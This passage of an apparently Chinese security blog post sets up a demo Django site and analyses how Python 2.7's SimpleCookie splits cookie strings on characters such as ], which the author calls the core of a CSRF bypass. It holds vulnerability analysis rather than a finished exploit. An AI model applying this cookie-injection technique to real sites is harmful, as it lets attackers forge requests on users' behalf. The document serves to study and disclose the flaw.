    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r'^admin/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;site&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r'^check/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'check'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;r'^ga/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ga&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'ga'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;project/app/templates/check.html&lt;/code&gt;：&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/check/&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    
    {% csrf_token %}
    
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Check&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/input&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;project/app/templates/ga.html&lt;/code&gt;（放置Goolge Analytics脚本的页面）：&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;

  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_gaq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_gaq&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;_gaq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'_setAccount'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'UA-XXXXX-X'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;_gaq&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'_trackPageview'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ga&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'script'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ga&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'text/javascript'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ga&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;ga&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'https:'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'https://ssl'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'http://www'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'.google-analytics.com/ga.js'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'script'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parentNode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;insertBefore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ga&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;最后运行开启Django内置server：&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# project/&lt;/span&gt;
python manage.py runserver
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2漏洞分析&quot;&gt;2.漏洞分析&lt;/h3&gt;

&lt;p&gt;我们先来看这样一个场景：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/2016-09-28-python276-bug.png&quot; alt=&quot;Alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;当python内置的&lt;code class=&quot;highlighter-rouge&quot;&gt;Cookie.SimpleCookie()&lt;/code&gt;解析&lt;code class=&quot;highlighter-rouge&quot;&gt;a=hello]b=world&lt;/code&gt;这种形式的字符串时会以&lt;code class=&quot;highlighter-rouge&quot;&gt;]&lt;/code&gt;作为分隔，最后取得&lt;code class=&quot;highlighter-rouge&quot;&gt;a=hello&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;b=world&lt;/code&gt;这两个cookie，那么为什么会这样呢？&lt;/p&gt;

&lt;p&gt;我们看一下源码，Ubuntu下&lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/lib/python2.7/Cookie.py&lt;/code&gt;第622-663行：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rawdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rawdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__ParseString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rawdata&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;# self.update() wouldn't call our custom __setitem__&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rawdata&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# end load()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__ParseString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;patt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_CookiePattern&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;            &lt;span class=&quot;c&quot;&gt;# Our starting point&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;     &lt;span class=&quot;c&quot;&gt;# Length of string&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;M&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;         &lt;span class=&quot;c&quot;&gt;# current morsel&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;# Start looking for a cookie&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;patt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;          &lt;span class=&quot;c&quot;&gt;# No more cookies&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;V&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;当传入&lt;code class=&quot;highlighter-rouge&quot;&gt;load&lt;/code&gt;一个字符串时，调用&lt;code class=&quot;highlighter-rouge&quot;&gt;__ParseString&lt;/code&gt;，在&lt;code class=&quot;highlighter-rouge&quot;&gt;__ParseString&lt;/code&gt;中有这样一句：&lt;code class=&quot;highlighter-rouge&quot;&gt;match = patt.search(str, i)&lt;/code&gt;，根据之前定义的pattern来查找字符串中符合pattern的cookie，&lt;code class=&quot;highlighter-rouge&quot;&gt;_CookiePattern&lt;/code&gt;在529-545行：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;_LegalCharsPatt&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;r&quot;[\w\d!#&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;amp;'~_`&amp;gt;&amp;lt;@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;_CookiePattern&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;compile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;(?x)&quot;&lt;/span&gt;                       &lt;span class=&quot;c&quot;&gt;# This is a Verbose pattern&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;(?P&amp;lt;key&amp;gt;&quot;&lt;/span&gt;                   &lt;span class=&quot;c&quot;&gt;# Start of group 'key'&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_LegalCharsPatt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;+?&quot;&lt;/span&gt;     &lt;span class=&quot;c&quot;&gt;# Any word of at least one letter, nongreedy&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;)&quot;&lt;/span&gt;                          &lt;span class=&quot;c&quot;&gt;# End of group 'key'&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;\s*=\s*&quot;&lt;/span&gt;                    &lt;span class=&quot;c&quot;&gt;# Equal Sign&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;(?P&amp;lt;val&amp;gt;&quot;&lt;/span&gt;                   &lt;span class=&quot;c&quot;&gt;# Start of group 'val'&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r'&quot;(?:[^\\&quot;]|\\.)*&quot;'&lt;/span&gt;            &lt;span class=&quot;c&quot;&gt;# Any doublequoted string&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;|&quot;&lt;/span&gt;                            &lt;span class=&quot;c&quot;&gt;# or&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# Special case for &quot;expires&quot; attr&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;|&quot;&lt;/span&gt;                            &lt;span class=&quot;c&quot;&gt;# or&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_LegalCharsPatt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt;        &lt;span class=&quot;c&quot;&gt;# Any word or empty string&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;)&quot;&lt;/span&gt;                          &lt;span class=&quot;c&quot;&gt;# End of group 'val'&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;r&quot;\s*;?&quot;&lt;/span&gt;                      &lt;span class=&quot;c&quot;&gt;# Probably ending in a semi-colon&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;在这里我们看到&lt;code class=&quot;highlighter-rouge&quot;&gt;]&lt;/code&gt;并没有在&lt;code class=&quot;highlighter-rouge&quot;&gt;_LegalCharsPatt&lt;/code&gt;中，由于代码中使用的是&lt;code class=&quot;highlighter-rouge&quot;&gt;search&lt;/code&gt;函数，所以在匹配&lt;code class=&quot;highlighter-rouge&quot;&gt;a=hello&lt;/code&gt;后碰到&lt;code class=&quot;highlighter-rouge&quot;&gt;]&lt;/code&gt;会跳过这个字符然后再匹配&lt;code class=&quot;highlighter-rouge&quot;&gt;b=world&lt;/code&gt;。因此正是因为使用&lt;code class=&quot;highlighter-rouge&quot;&gt;search&lt;/code&gt;函数来匹配，所以当&lt;code class=&quot;highlighter-rouge&quot;&gt;a=hello&lt;/code&gt;后面是任意一个不在&lt;code class=&quot;highlighter-rouge&quot;&gt;_LegalCharsPatt&lt;/code&gt;中的字符（例如&lt;code class=&quot;highlighter-rouge&quot;&gt;[&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;\&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;]&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;\x09&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;\x0b&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;\x0c&lt;/code&gt;）都会达到同样的效果：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'a=helloXb=world'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# X为上述字符&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;SetCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'hello'&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'world'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这个漏洞也正是整个Bypass的核心所在。&lt;/p&gt;

&lt;p&gt;我们再来看Django（1.9.9）中对cookie的解析，在&lt;code class=&quot;highlighter-rouge&quot;&gt;http/cookie.py&lt;/code&gt;中第91-106行：&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookie&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http_cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SimpleCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;load&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
